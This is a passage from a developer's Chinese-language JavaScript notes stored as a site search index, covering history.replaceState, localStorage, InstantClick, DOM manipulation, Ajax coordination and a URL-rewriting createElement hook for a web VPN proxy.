<p>\\u6267\\u884c\\u540e\\u5c31\\u53ef\\u4ee5\\u8fd9\\u4e48\\u4f7f\\u7528\\uff1a</p> <pre><code>if (typeof(QueryString.parameter)!=\\\"undefined\\\") {\\n    alert(QueryString.parameter);//do something with the parameter\\n}\\n</code></pre>\"},{\"location\":\"JavaScript/#github-issue\",\"title\":\"\\u4f7f\\u7528 Github Issue \\u4f5c\\u4e3a\\u535a\\u5ba2\\u8bc4\\u8bba\\u533a\",\"text\":\"<p>\\u4eba\\u5bb6\\u5927\\u4f6c\\u7684\\u9879\\u76ee\\uff1ahttp://github.com/wzpan/comment.js\\uff0c\\u4e2d\\u6587\\u6587\\u6863</p> <p>\\u5982\\u679c\\u89c9\\u5f97cloudflare\\u52a0\\u8f7d\\u901f\\u5ea6\\u4e0d\\u4f73\\uff0c\\u53ef\\u4ee5\\u628a\\u6240\\u6709js\\u6253\\u5305\\u6210\\u4e00\\u4e2a\\u6587\\u4ef6</p> <p>\\u6548\\u679c\\u5982\\u672c\\u535a\\u5ba2\\u9875\\u9762\\u5e95\\u90e8\\u8bc4\\u8bba\\u533a\\u6240\\u793a\\uff0c\\u4e3a\\u4e86\\u5077\\u61d2\\u5c31\\u6ca1\\u6709\\u4e3a\\u6bcf\\u4e2amd\\u6587\\u4ef6\\u5355\\u72ec\\u5f00issue\\u4e86\\uff0c\\u6574\\u4e2ablog\\u5171\\u7528\\u4e00\\u4e2aissue</p>\"},{\"location\":\"JavaScript/#historyreplacestate\",\"title\":\"history.replaceState\\u4fee\\u6539\\u5386\\u53f2\\u8bb0\\u5f55\",\"text\":\"<p>\\u5982v2ex\\u6309\\u7167\\u662f\\u5426:visited\\u6765\\u533a\\u5206\\u70b9\\u5f00\\u8fc7\\u548c\\u6ca1\\u70b9\\u5f00\\u8fc7\\u7684\\u5e16\\u5b50\\uff0c\\u5176\\u5b9e\\u73b0\\u662furl\\u5e26\\u4e0a#reply\\u56de\\u590d\\u6570\\u91cf</p> <p>\\u4f46\\u5982\\u679c\\u5e16\\u5b50\\u9875\\u9762\\u6709\\u591a\\u79cd\\u8fdb\\u5165\\u65b9\\u5f0f\\uff08\\u81ea\\u52a8\\u8df3\\u8f6c\\u5230\\u9875\\u5c3e\\u3001\\u53d1\\u8d77\\u4e86\\u56de\\u590d\\u7b49\\uff09\\uff0c\\u90a3\\u4e48url\\u5e76\\u4e0d\\u4e00\\u5b9a\\u4e0e\\u9700\\u8981\\u7684\\u4e00\\u81f4</p> <p>\\u6211\\u4eec\\u53ef\\u4ee5\\u4f7f\\u7528history API\\u6765\\u4fee\\u6539\\u5386\\u53f2\\u8bb0\\u5f55\\uff0c\\u4ece\\u800c\\u4fdd\\u8bc1\\u5e26\\u4e0a<code>#reply\\u56de\\u590d\\u6570\\u91cf</code>\\u7684url\\u4e00\\u5b9a\\u88ab\\u8ba4\\u4e3a\\u8bbf\\u95ee\\u8fc7\\uff1b\\u800c\\u4e14\\u81ea\\u52a8\\u6539\\u56de\\u53bb\\u7528\\u6237\\u65e0\\u611f\\u77e5\\uff08\\u5426\\u5219\\u5237\\u65b0\\u540e\\u4f1a\\u6253\\u5f00\\u4e0d\\u4e00\\u6837\\u7684\\u9875\\u9762\\uff09</p> <p>\\u4ee3\\u7801\\u5982\\u4e0b\\uff1a</p> <pre><code>&lt;script&gt;\\nsetTimeout( function(){\\n    var oldurl = location.href;\\n    history.replaceState(null, null, '/t/{{topic[\\\"id\\\"]}}#reply{{topic[\\\"replyCount\\\"]}}');\\n    history.replaceState(null, null, oldurl);\\n}, 1000);\\n&lt;/script&gt;\\n</code></pre>\"},{\"location\":\"JavaScript/#checkboxlocalstorage\",\"title\":\"\\u8bb0\\u4f4f\\u4e00\\u4e2acheckbox\\u7684\\u72b6\\u6001\\uff08\\u7528localStorage\\uff09\",\"text\":\"<p>\\u67e5\\u8be2\\u662f\\u5426\\u52fe\\u9009\\u7528<code>.is(\\\":checked\\\")</code> \\uff0c \\u6539\\u53d8\\u52fe\\u9009\\u72b6\\u6001\\u7528<code>.prop(\\\"checked\\\",true)</code></p> <pre><code>&lt;script&gt;\\nfunction checkbox_onclick(){\\n    var checked = $(\\\"#thecheckbox\\\").is(\\\":checked\\\");\\n    if(checked) localStorage.setItem(\\\"status_thecheckbox\\\",\\\"1\\\");\\n    else localStorage.setItem(\\\"status_thecheckbox\\\",\\\"0\\\");\\n}\\n&lt;/script&gt;\\n&lt;input type=\\\"checkbox\\\" id=\\\"thecheckbox\\\" onclick='checkbox_onclick();'&gt;\\n&lt;script&gt;\\nvar status_thecheckbox = localStorage.getItem(\\\"status_thecheckbox\\\");\\n    if(status_thecheckbox!=null &amp;&amp; status_thecheckbox==\\\"1\\\") $(\\\"#thecheckbox\\\").prop(\\\"checked\\\",true);\\n&lt;/script&gt;\\n</code></pre>\"},{\"location\":\"JavaScript/#nodejs\",\"title\":\"NodeJS\",\"text\":\"\"},{\"location\":\"JavaScript/#dockernpm\",\"title\":\"\\u7528Docker\\u6267\\u884cnpm\",\"text\":\"<p>\\u4f8b\\u5982\\u5b89\\u88c5canvas\\u548cgifencoder\\u5305\\uff1a</p> <pre><code>PACKAGES=\\\"canvas gifencoder\\\"\\ndocker run --rm --volume=\\\"`pwd`:/app\\\" -w /app -it node:10 npm install ${PACKAGES}  --registry=https://registry.npm.taobao.org\\n</code></pre>\"},{\"location\":\"JavaScript/#instantclick\",\"title\":\"\\u4f7f\\u7528InstantClick\\u8e29\\u5751\",\"text\":\"\"},{\"location\":\"JavaScript/#_1\",\"title\":\"\\u5feb\\u901f\\u4f7f\\u7528\",\"text\":\"<p>http://instantclick.io/v3.1.0/instantclick.min.js</p> <p>\\u4e00\\u5b9a\\u8981\\u5728\\u9875\\u9762\\u5e95\\u90e8 <code>&lt;/body&gt;</code>\\u4e4b\\u524d\\u624d\\u80fd\\u5f15\\u5165\\uff1a</p> <pre><code>&lt;script src=\\\"instantclick.min.js\\\" data-no-instant&gt;&lt;/script&gt;\\n&lt;script data-no-instant&gt;InstantClick.init('mousedown');&lt;/script&gt;\\n</code></pre>\"},{\"location\":\"JavaScript/#302\",\"title\":\"\\u88ab\\u9884\\u52a0\\u8f7d\\u7684\\u9875\\u9762\\u4e0d\\u80fd\\u8ba9\\u540e\\u7aef\\u8fd4\\u56de302\",\"text\":\"<p>\\u5426\\u5219\\u4f1a\\u663e\\u793a\\u8df3\\u8f6c\\u4e4b\\u524d\\u7684URL</p> <p>\\u8fd9\\u79cd\\u60c5\\u51b5\\u4e0b\\u53ef\\u4ee5\\u5bf9\\u8fd9\\u4e2a\\u94fe\\u63a5\\u7981\\u6b62\\u9884\\u52a0\\u8f7d\\uff08\\u4e0d\\u8fc7\\u66f4\\u5e94\\u8be5\\u8003\\u8651\\u8fd9\\u79cd\\u94fe\\u63a5\\u6539\\u4e3apost\\u8bf7\\u6c42\\uff09 \\u5728a\\u6807\\u7b7e\\u52a0\\u4e0a<code>data-no-instant</code></p>\"},{\"location\":\"JavaScript/#_2\",\"title\":\"\\u6ce8\\u610f\\u9ed8\\u8ba4\\u914d\\u7f6e\\u4e0b\\u540e\\u7aef\\u5c06\\u88ab\\u9891\\u7e41\\u8bf7\\u6c42 \\u9891\\u7387\\u9650\\u5236\\u9700\\u8981\\u653e\\u5bbd\",\"text\":\"<p>\\u5b98\\u7f51\\u7ed9\\u51fa\\u7684\\u4ee3\\u7801\\u4f7f\\u7528<code>InstantClick.init()</code>\\uff0c\\u610f\\u5473\\u7740\\u9f20\\u6807\\u79fb\\u52a8\\u4e0a\\u53bb\\u5c31\\u4f1a\\u89e6\\u53d1\\u52a0\\u8f7d\\uff08\\u4e0d\\u662f\\u53ea\\u89e6\\u53d1\\u4e00\\u6b21\\uff09\\uff0c\\u9f20\\u6807\\u53cd\\u590d\\u79fb\\u52a8\\u4f1a\\u5bfc\\u81f4\\u5927\\u91cf\\u7684\\u8bf7\\u6c42</p> <p>\\u5982\\u679c\\u540e\\u7aef\\u505a\\u4e86\\u8bf7\\u6c42\\u9891\\u7387\\u9650\\u5236 \\u9700\\u8981\\u653e\\u5bbd\\u9650\\u5236</p> <p>\\u8fd8\\u662f\\u6539\\u4e3a\\u7528<code>mousedown</code>\\u6765\\u521d\\u59cb\\u5316 \\u53ea\\u6709\\u7528\\u6237\\u786e\\u5b9e\\u70b9\\u51fb\\u4e86\\u624d\\u5f00\\u59cb\\u52a0\\u8f7d \\u636e\\u8bf4\\u4e5f\\u80fd\\u6709\\u5f88\\u597d\\u7684\\u6548\\u679c</p>\"},{\"location\":\"JavaScript/#instantclick-js\",\"title\":\"InstantClick\\u5f15\\u5165\\u4e00\\u4e9b\\u526f\\u4f5c\\u7528 \\u5bf9\\u9875\\u9762js\\u8981\\u8fdb\\u884c\\u4fee\\u6539\",\"text\":\"\"},{\"location\":\"JavaScript/#jsreferrer\",\"title\":\"js\\u65e0\\u6cd5\\u53d6\\u5f97\\u6b63\\u786e\\u7684referrer\",\"text\":\"<p>\\u9875\\u9762\\u52a0\\u8f7d\\u7684\\u8bf7\\u6c42\\u662fjs\\u6267\\u884c\\u7684 document.referrer\\u4e0d\\u4f1a\\u88ab\\u8bbe\\u7f6e\\u4e3a\\u4e0a\\u4e00\\u9875</p>\"},{\"location\":\"JavaScript/#documentaddeventlistener\",\"title\":\"document.addEventListener \\u91cd\\u590d\\u89e6\\u53d1\",\"text\":\"<p>\\u4f8b\\u5982\\u7ed1\\u5b9apaste\\u4e8b\\u4ef6 \\u4f60\\u53ef\\u80fd\\u8fd9\\u4e48\\u5199\\uff1a</p> <pre><code>document.addEventListener('paste', handlepaste);\\n</code></pre> <p>\\u5728\\u5207\\u6362\\u9875\\u9762\\u540e \\u8fd9\\u4e2a\\u4e8b\\u4ef6\\u4f1a\\u591a\\u6b21\\u7ed1\\u5b9a \\u5bfc\\u81f4\\u591a\\u6b21\\u89e6\\u53d1</p> <p>\\u6211\\u7684\\u505a\\u6cd5\\u662f\\u5148\\u5224\\u65ad\\u4e00\\u4e2a\\u53d8\\u91cf\\u662f\\u5426\\u5b58\\u5728 \\u4e0d\\u5b58\\u5728\\u624d\\u8bbe\\u7f6e\\uff1a</p> <pre><code>if(typeof paste_registered == \\\"undefined\\\"){\\ndocument.addEventListener('paste', handlepaste);\\npaste_registered = true;\\n}\\n</code></pre> <p>\\u4f60\\u4e5f\\u53ef\\u4ee5\\u628a\\u8fd9\\u4e00\\u90e8\\u5206\\u4e0d\\u80fd\\u91cd\\u590d\\u6267\\u884c\\u7684\\u4ee3\\u7801\\u653e\\u5165<code>&lt;script data-no-instant&gt;</code>\\u4e2d\\uff0c\\u4f46\\u5982\\u679c\\u524d\\u4e00\\u9875\\u6ca1\\u6709\\u8fd9\\u4e00\\u5757\\u4ee3\\u7801\\uff08\\u4e5f\\u5c31\\u662f\\u8fd9\\u4e2a\\u4ee3\\u7801\\u662f\\u5f53\\u524d\\u9875\\u9762\\u624d\\u6709\\u7684\\uff0c\\u9700\\u8981\\u6267\\u884c\\u4e00\\u6b21\\uff09\\uff0c\\u8fdb\\u5165\\u5f53\\u524d\\u9875\\u9762\\u662f\\u4e0d\\u4f1a\\u89e6\\u53d1\\u7684</p>\"},{\"location\":\"JavaScript/#js\",\"title\":\"\\u8fd4\\u56de\\u4e0a\\u4e00\\u9875\\u91cd\\u590d\\u6267\\u884c\\u9875\\u9762\\u6dfb\\u52a0\\u5143\\u7d20\\u7684js \\u5bfc\\u81f4\\u5143\\u7d20\\u91cd\\u590d\\u51fa\\u73b0\",\"text\":\"<p>\\u73b0\\u5728\\u7684\\u65b9\\u6cd5\\u662f\\u5bf9js\\u52a8\\u6001\\u6dfb\\u52a0\\u7684\\u5143\\u7d20\\u52a0\\u4e2aclass \\u7136\\u540e\\u7528jQuery\\u7684remove\\u65b9\\u6cd5\\u5148\\u901a\\u901a\\u5220\\u6389\\u518d\\u6dfb\\u52a0</p>\"},{\"location\":\"JavaScript/#ready\",\"title\":\"\\u9875\\u9762ready\\u4e8b\\u4ef6\\u4e0d\\u4f1a\\u89e6\\u53d1\",\"text\":\"<p>\\u9700\\u8981\\u52a0\\u5165<code>InstantClick.on('change', callback);</code> \\u52a0\\u5230Init\\u540e\\u5373\\u53ef</p> <p>\\u4f46\\u662f\\u4f3c\\u4e4e\\u8fd9\\u4e2a\\u4e8b\\u4ef6\\u89e6\\u53d1\\u5728\\u9875\\u9762\\u56fe\\u7247\\u52a0\\u8f7d\\u5b8c\\u6210\\u4e4b\\u524dOrz \\u4e0d\\u591f\\u5b8c\\u7f8e</p>\"},{\"location\":\"JavaScript/#hash\",\"title\":\"\\u8d85\\u94fe\\u63a5\\u7684#hash\\u5b9a\\u4f4d\\u529f\\u80fd\\u4e5f\\u9700\\u8981\\u81ea\\u5df1\\u5b9e\\u73b0\",\"text\":\"<p>\\u9884\\u52a0\\u8f7d\\u7684\\u9875\\u9762\\u603b\\u662f\\u5b9a\\u4f4d\\u5230\\u9876\\u90e8\\uff0c\\u5ffd\\u89c6\\u5730\\u5740\\u680f\\u4e2d\\u7684<code>#end</code>\\u8fd9\\u79cd\\u5b9a\\u4f4dhash</p> <p>\\u6211\\u7684\\u505a\\u6cd5\\u662f\\u8fd9\\u6837\\u5199\\u4e0a\\u8ff0onchange\\u7684callback\\u51fd\\u6570<code>implement_hashjump</code>\\uff1a</p> <pre><code>function has_hashjump(){ // if there is a #hash present for jumpping, return true\\nvar hash = document.location.hash.replace(\\\"#\\\",\\\"\\\");\\nif(!hash) return false;\\nif(document.getElementById(hash) || document.getElementsByName(hash).length&gt;0) return true;\\nelse return false;\\n}\\n\\nfunction implement_hashjump() {\\nif ( has_hashjump() ) {\\nvar hash = document.location.hash.replace(\\\"#\\\",\\\"\\\");\\nif(document.getElementById(hash)) {\\ndocument.documentElement.scrollTop = $(\\\"#\\\"+hash).offset().top;\\n}\\nelse{\\ndocument.documentElement.scrollTop = $(\\\"[name='\\\"+hash+\\\"']\\\").offset().top;\\n}\\n}\\n}\\n</code></pre>\"},{\"location\":\"JavaScript/#javascriptdom-the-basics-of-dom-manipulation-in-vanilla-javascript\",\"title\":\"\\u7528\\u539f\\u751fJavascript\\u64cd\\u4f5cDOM\\u8282\\u70b9 The Basics of DOM Manipulation in Vanilla JavaScript\",\"text\":\"<p>https://www.sitepoint.com/dom-manipulation-vanilla-javascript-no-jquery/</p>\"},{\"location\":\"JavaScript/#_3\",\"title\":\"\\u9009\\u62e9\\u5143\\u7d20\",\"text\":\"<pre><code>const myElement = document.querySelector('#foo &gt; div.bar')\\nmyElement.matches('div.bar') === true\\n</code></pre> <p>\\u6ce8\\u610fquerySelector\\u662f\\u7acb\\u5373\\u6267\\u884c \\u800cgetElementsByTagName\\u662f\\u53d6\\u503c\\u7684\\u65f6\\u5019\\u6267\\u884c\\u6548\\u7387\\u66f4\\u9ad8</p> <p>\\u5bf9\\u5143\\u7d20\\u5217\\u8868\\u904d\\u5386\\u5e94\\u8be5\\u8fd9\\u4e48\\u5199\\uff1a</p> <pre><code>[].forEach.call(myElements, doSomethingWithEachElement)\\n</code></pre> <p><code>myElement.children</code>,<code>myElement.firstElementChild</code> \\u53ea\\u4f1a\\u6709tag\\uff0c\\u800c<code>myElement.childNodes</code>,<code>myElement.firstChild</code>\\u4f1a\\u6709\\u6587\\u672c\\u8282\\u70b9</p> <p>\\u5982\\uff1a<code>myElement.firstChild.nodeType === 3 // this would be a text node</code></p>\"},{\"location\":\"JavaScript/#class\",\"title\":\"\\u4fee\\u6539class\\u548c\\u5c5e\\u6027\",\"text\":\"<pre><code>myElement.classList.add('foo')\\nmyElement.classList.remove('bar')\\nmyElement.classList.toggle('baz')\\n\\n// Set multiple properties using Object.assign()\\nObject.assign(myElement, {\\nvalue: 'foo',\\nid: 'bar'\\n})\\n\\n// Remove an attribute\\nmyElement.value = null\\n</code></pre> <p>\\u9664\\u4e86\\u76f4\\u63a5\\u8d4b\\u503c\\uff0c\\u8fd8\\u6709\\u8fd9\\u4e9b\\u65b9\\u6cd5<code>.getAttibute(), .setAttribute() and .removeAttribute()</code> \\u4f46\\u4ed6\\u4eec\\u4f1a\\u76f4\\u63a5\\u4fee\\u6539HTML \\u5bfc\\u81f4\\u91cd\\u7ed8 \\u53ea\\u6709\\u6ca1\\u6709\\u5bf9\\u5e94\\u5c5e\\u6027\\u7684\\u65f6\\u5019\\u5982<code>colspan</code>\\u624d\\u5e94\\u8be5\\u8fd9\\u4e48\\u5e72</p>\"},{\"location\":\"JavaScript/#css\",\"title\":\"\\u4fee\\u6539CSS\",\"text\":\"<pre><code>myElement.style.marginLeft = '2em'\\n\\n//\\u83b7\\u5f97\\u8ba1\\u7b97\\u51fa\\u6765\\u7684CSS\\u5c5e\\u6027\\ngetComputedStyle(myElement).getPropertyValue('margin-left')\\n</code></pre>\"},{\"location\":\"JavaScript/#dom\",\"title\":\"\\u4fee\\u6539DOM\",\"text\":\"<pre><code>const myNewElement = document.createElement('div')\\nconst myNewTextNode = document.createTextNode('some text')\\n\\n// Append element1 as the last child of element2\\nelement1.appendChild(element2)\\n\\n// Insert element2 as child of element 1, right before element3\\nelement1.insertBefore(element2, element3)\\n\\n// Create a clone\\nconst myElementClone = myElement.cloneNode()\\nmyParentElement.appendChild(myElementClone)\\n\\n// \\u5220\\u9664\\u4e00\\u4e2a\\u8282\\u70b9\\nmyElement.parentNode.removeChild(myElement)\\n</code></pre> <p>\\u5f53\\u9700\\u8981\\u628a\\u591a\\u4e2a\\u5143\\u7d20appendChild\\u5230\\u4e00\\u4e2a\\u5df2\\u7ecf\\u5728\\u9875\\u9762\\u4e0a\\u7684\\u5143\\u7d20\\u65f6\\uff0c\\u6bcf\\u6b21append\\u90fd\\u4f1a\\u91cd\\u7ed8 \\u8fd9\\u65f6\\u5019\\u5c31\\u5e94\\u8be5\\u7528<code>DocumentFragment</code></p> <pre><code>const fragment = document.createDocumentFragment()\\n\\nfragment.appendChild(text)\\nfragment.appendChild(hr)\\nmyElement.appendChild(fragment)\\n</code></pre>\"},{\"location\":\"JavaScript/#_4\",\"title\":\"\\u76d1\\u542c\\u4e8b\\u4ef6\",\"text\":\"<p>\\u4e8b\\u4ef6event\\u91cc\\u9762\\u6709<code>target</code>\\u6307\\u5411\\u8c01\\u89e6\\u53d1\\u7684\\u4e8b\\u4ef6</p> <pre><code>const myForm = document.forms[0]\\nconst myInputElements = myForm.querySelectorAll('input')\\n\\nArray.from(myInputElements).forEach(el =&gt; {\\nel.addEventListener('change', function (event) {\\nconsole.log(event.target.value)\\n})\\n})\\n</code></pre>\"},{\"location\":\"JavaScript/#_5\",\"title\":\"\\u963b\\u6b62\\u9ed8\\u8ba4\\u884c\\u4e3a\",\"text\":\"<p><code>.preventDefault()</code></p> <p><code>.stopPropagation()</code> \\u5b50\\u8282\\u70b9click\\u4e0d\\u4f1a\\u518d\\u5192\\u6ce1\\u89e6\\u53d1\\u7236\\u8282\\u70b9onclick</p>\"},{\"location\":\"JavaScript/#event-delegation\",\"title\":\"Event delegation\",\"text\":\"<p>\\u5bf9\\u8868\\u5355\\u6bcf\\u4e2ainput\\u4fee\\u6539\\u65f6\\u6267\\u884c\\uff0c\\u76f4\\u63a5\\u5bf9form\\u6dfb\\u52a0change\\u7684\\u4e8b\\u4ef6 \\u4e0d\\u9700\\u8981\\u5bf9\\u6bcf\\u4e2ainput\\u6dfb\\u52a0\\uff0c\\u8fd9\\u6837\\u4e5f\\u81ea\\u52a8\\u652f\\u6301\\u52a8\\u6001\\u65b0\\u6dfb\\u52a0\\u7684input</p> <pre><code>myForm.addEventListener('change', function (event) {\\nconst target = event.target\\nif (target.matches('input')) {\\nconsole.log(target.value)\\n}\\n})\\n</code></pre>\"},{\"location\":\"JavaScript/#_6\",\"title\":\"\\u52a8\\u753b\",\"text\":\"<p>\\u9700\\u8981\\u9ad8\\u6027\\u80fd\\u65f6 \\u4e0d\\u8981\\u7528setTimeout \\u800c\\u4f7f\\u7528<code>requestAnimationFrame</code></p> <pre><code>const start = window.performance.now()\\nconst duration = 2000\\n\\nwindow.requestAnimationFrame(function fadeIn (now)) {\\nconst progress = now - start\\nmyElement.style.opacity = progress / duration\\n\\nif (progress &lt; duration) {\\nwindow.requestAnimationFrame(fadeIn)\\n}\\n}\\n</code></pre>\"},{\"location\":\"JavaScript/#src\",\"title\":\"\\u52ab\\u6301\\u52a8\\u6001\\u56fe\\u7247\\u52a0\\u8f7d \\u4fee\\u6539src\\u5c5e\\u6027\",\"text\":\"<p>React\\u7f51\\u7ad9\\u5e94\\u7528\\u5e95\\u5c42\\u7528\\u7684\\u662fcreateElement\\u65b9\\u6cd5\\uff08svg\\u7b49\\u5bf9\\u8c61\\u7528createElementNS\\uff09\\uff0c\\u53ef\\u4ee5\\u901a\\u8fc7\\u52ab\\u6301document\\u6240\\u5c5e\\u7c7b\\u539f\\u578b\\u7684createElement\\u65b9\\u6cd5\\u6765\\u5b9e\\u73b0\\u56fe\\u7247\\u8def\\u5f84\\u91cd\\u5b9a\\u5411</p> <p>\\u4f46\\u662f\\u6ca1\\u6709\\u8003\\u8651\\u4f7f\\u7528innerHTML\\u76f4\\u63a5\\u8d4b\\u503c\\u7684\\u64cd\\u4f5c\\uff0c\\u5982\\u679c\\u76ee\\u6807\\u7ad9\\u70b9\\u786e\\u5b9e\\u7528\\u4e86\\u8fd9\\u79cd\\u6280\\u672f\\uff0c\\u5927\\u4e0d\\u4e86\\u518d\\u52a0\\u4e2a\\u5b9a\\u65f6\\u5668\\u904d\\u5386\\u5373\\u53ef</p> <pre><code>var dc = HTMLDocument.prototype.createElement;\\nHTMLDocument.prototype.createElement = function (tag, options) {\\nvar r = dc.call(document, tag, options);\\nif(tag==\\\"img\\\"||tag=='a') {\\nvar x=r.setAttribute;\\nr.setAttribute=function(a,b){\\nif(a==\\\"src\\\"||a==\\\"href\\\"){\\nif(b[0]==\\\"/\\\") b=b.replace(\\\"/\\\", window.ROOT);\\nelse{\\nb = b.replace(\\\"http://\\\",\\\"/web/0/http/0/\\\");\\nb = b.replace(\\\"https://\\\",\\\"/web/0/https/0/\\\");\\n}\\n}\\nreturn x.call(r,a,b);\\n}\\n}\\nreturn r;\\n}\\n</code></pre> <p>\\u4e0a\\u8ff0\\u4ee3\\u7801\\u4f1a\\u5c06/\\u5f00\\u5934\\u7684src\\u548chref\\u5c5e\\u6027\\u7684\\u7b2c\\u4e00\\u4e2a/\\u66ff\\u6362\\u4e3awindow.ROOT</p>\"},{\"location\":\"JavaScript/#ajaxfetch\",\"title\":\"\\u52ab\\u6301Ajax\\u548cfetch\",\"text\":\"<p>\\u9700\\u8981\\u5c06fetch\\u4f7f\\u7528xhr\\u5b9e\\u73b0\\uff0c\\u7136\\u540eHook Ajax\\u5373\\u53ef</p> <p>\\u53c2\\u89c1\\u5b8c\\u6574\\u7684RVPN\\u52ab\\u6301\\u4ee3\\u7801 jshook_preload.js</p> <p>\\u80cc\\u666f\\u77e5\\u8bc6\\u53c2\\u89c1\\uff1aRVPN\\u7f51\\u9875\\u7248\\u4ecb\\u7ecd https://www.cc98.org/topic/4816921/</p>\"},{\"location\":\"JavaScript/#ajax\",\"title\":\"\\u591a\\u4e2aAjax\\u8bf7\\u6c42\\u7b49\\u5f85\\u5168\\u90e8\\u5b8c\\u6210\",\"text\":\"<p>\\u65b9\\u6cd5\\u5c31\\u662f\\u628ajQuery\\u7684ajax\\u51fd\\u6570\\u8fd4\\u56de\\u503c\\u653e\\u5230\\u6570\\u7ec4\\u91cc\\u9762\\uff0c\\u7136\\u540e\\u7528<code>$.when.apply(null, \\u6570\\u7ec4).done</code>\\u5373\\u53ef</p> <p>\\u5b9e\\u4f8b\\uff1aCC98\\u53d1\\u7c73\\u673a</p> <pre><code>function apiget(url, callback){\\nreturn $.get(\\\"/98api_cache/\\\"+url, null, callback, \\\"json\\\");\\n}\\n\\nvar async_request=[check_permission(topic.boardId)];\\nvar i;\\nfor(i=from_; i&gt;=from_-80;i-=20){\\nif(i&lt;0) break;\\nasync_request.push(apiget(\\\"Topic/\\\"+topicid+\\\"/post?from=\\\"+i+\\\"&amp;size=20\\\", function(data){\\nlastfloors.push.apply(lastfloors,data);\\n}))\\n}\\n\\n$.when.apply(null, async_request).done( function(){ alert(\\\"all done\\\")} )\\n</code></pre>\"},{\"location\":\"JavaScript/#_7\",\"title\":\"\\u7b49\\u5f85\\u56fe\\u7247\\u52a0\\u8f7d\\u5b8c\\u6210\\u540e \\u7f29\\u5c0f\\u8fc7\\u5927\\u7684\\u56fe\\u7247\",\"text\":\"<p>\\u9996\\u5148\\u7b49\\u5f85DOM\\u8282\\u70b9\\u5c31\\u7eea\\uff0c\\u627e\\u5230\\u6240\\u6709\\u7684img\\uff0c\\u7b49\\u5f85\\u56fe\\u7247\\u52a0\\u8f7d\\u5b8c\\u6210\\u540e\\u5224\\u65ad\\u56fe\\u7247\\u9ad8\\u5ea6\\u662f\\u5426\\u5927\\u4e8e\\u7a97\\u53e3\\u9ad8\\u5ea6\\u768480%\\uff0c\\u5982\\u679c\\u592a\\u957f\\u5c31\\u8bbe\\u7f6e<code>max-width:80vh</code>\\uff0c\\u53ef\\u70b9\\u51fb\\u5c55\\u5f00\\uff0c\\u518d\\u6b21\\u70b9\\u51fb\\u5219\\u6298\\u53e0\\u5e76\\u8df3\\u81f3\\u56fe\\u7247\\u5f00\\u59cb\\u7684\\u5730\\u65b9</p> <pre><code>!function(a){\\\"function\\\"==typeof define&amp;&amp;define.amd?define([\\\"jquery\\\"],a):\\\"object\\\"==typeof exports?module.exports=a(require(\\\"jquery\\\")):a(jQuery)}(function(a){var b=\\\"waitForImages\\\",c=function(a){return a.srcset&amp;&amp;a.sizes}(new Image);a.waitForImages={hasImageProperties:[\\\"backgroundImage\\\",\\\"listStyleImage\\\",\\\"borderImage\\\",\\\"borderCornerImage\\\",\\\"cursor\\\"],hasImageAttributes:[\\\"srcset\\\"]},a.expr.pseudos[\\\"has-src\\\"]=function(b){return a(b).is('img[src][src!=\\\"\\\"]')},a.expr.pseudos.uncached=function(b){return!!a(b).is(\\\":has-src\\\")&amp;&amp;!b.complete},a.fn.waitForImages=function(){var d,e,f,g=0,h=0,i=a.Deferred(),j=this,k=[],l=a.waitForImages.hasImageProperties||[],m=a.waitForImages.hasImageAttributes||[],n=/url\\\\(\\\\s*(['\\\"]?)(.*?)\\\\1\\\\s*\\\\)/g;if(a.isPlainObject(arguments[0])?(f=arguments[0].waitForAll,e=arguments[0].each,d=arguments[0].finished):1===arguments.length&amp;&amp;\\\"boolean\\\"===a.type(arguments[0])?f=arguments[0]:(d=arguments[0],e=arguments[1],f=arguments[2]),d=d||a.noop,e=e||a.noop,f=!!f,!a.isFunction(d)||!a.isFunction(e))throw new TypeError(\\\"An invalid callback was supplied.\\\");return this.each(function(){var b=a(this);f?b.find(\\\"*\\\").addBack().each(function(){var b=a(this);b.is(\\\"img:has-src\\\")&amp;&amp;!b.is(\\\"[srcset]\\\")&amp;&amp;k.push({src:b.attr(\\\"src\\\"),element:b[0]}),a.each(l,function(a,c){var d,e=b.css(c);if(!e)return!0;for(;d=n.exec(e);)k.push({src:d[2],element:b[0]})}),a.each(m,function(a,c){var d=b.attr(c);return!d||void k.push({src:b.attr(\\\"src\\\"),srcset:b.attr(\\\"srcset\\\"),element:b[0]})})}):b.find(\\\"img:has-src\\\").each(function(){k.push({src:this.src,element:this})})}),g=k.length,h=0,0===g&amp;&amp;(d.call(j),i.resolveWith(j)),a.each(k,function(f,k){var l=new Image,m=\\\"load.\\\"+b+\\\" error.\\\"+b;a(l).one(m,function b(c){var f=[h,g,\\\"load\\\"==c.type];if(h++,e.apply(k.element,f),i.notifyWith(k.element,f),a(this).off(m,b),h==g)return d.call(j[0]),i.resolveWith(j[0]),!1}),c&amp;&amp;k.srcset&amp;&amp;(l.srcset=k.srcset,l.sizes=k.sizes),l.src=k.src}),i.promise()}});\\n\\n$(function(){$(\\\"img\\\").waitForImages(function(){ ( $(\\\"img\\\").filter(function(){return $(this).height()&gt;document.documentElement.clientHeight * 0.8}) )\\n.css(\\\"max-height\\\",\\\"80vh\\\")\\n.css(\\\"cursor\\\",\\\"pointer\\\")\\n.on(\\\"click\\\", function(){\\nif($(this).css(\\\"max-height\\\")!=\\\"100%\\\"){\\n$(this).css(\\\"max-height\\\",\\\"100%\\\"); }else {\\n$(this).css(\\\"max-height\\\",\\\"80vh\\\");\\n$(\\\"html,body\\\").animate({scrollTop:$(this).position().top},\\\"fast\\\") }\\n});  })});\\n</code></pre>\"},{\"location\":\"JavaScript/#css-inline\",\"title\":\"CSS inline\\u6a21\\u7cca\\u9884\\u89c8\\u56fe\\u7247\",\"text\":\"<p>\\u53c2\\u8003\\uff1a https://css-tricks.com/the-blur-up-technique-for-loading-background-images/</p> <p>\\u4f7f\\u7528\\u4e00\\u5f20\\u5f88\\u5927\\u7684\\u56fe\\u7247\\u4f5c\\u4e3a\\u80cc\\u666f\\u7684\\u65f6\\u5019\\uff0c\\u53ef\\u80fd\\u9700\\u8981\\u4e00\\u5f20inline\\u5230css\\u4e2d\\u7684\\u6a21\\u7cca\\u80cc\\u666f\\u56fe\\uff0c\\u5b8c\\u6574\\u65b9\\u6848\\u53c2\\u89c1\\u4e0a\\u8ff0\\u94fe\\u63a5</p> <p>\\u8fd9\\u91cc\\u4ecb\\u7ecd\\u4ece\\u4e00\\u5f20\\u56fe\\u7247\\u600e\\u4e48\\u53d8\\u6210\\u6a21\\u7cca\\u9884\\u89c8\\u7684inline CSS:</p> <ol> 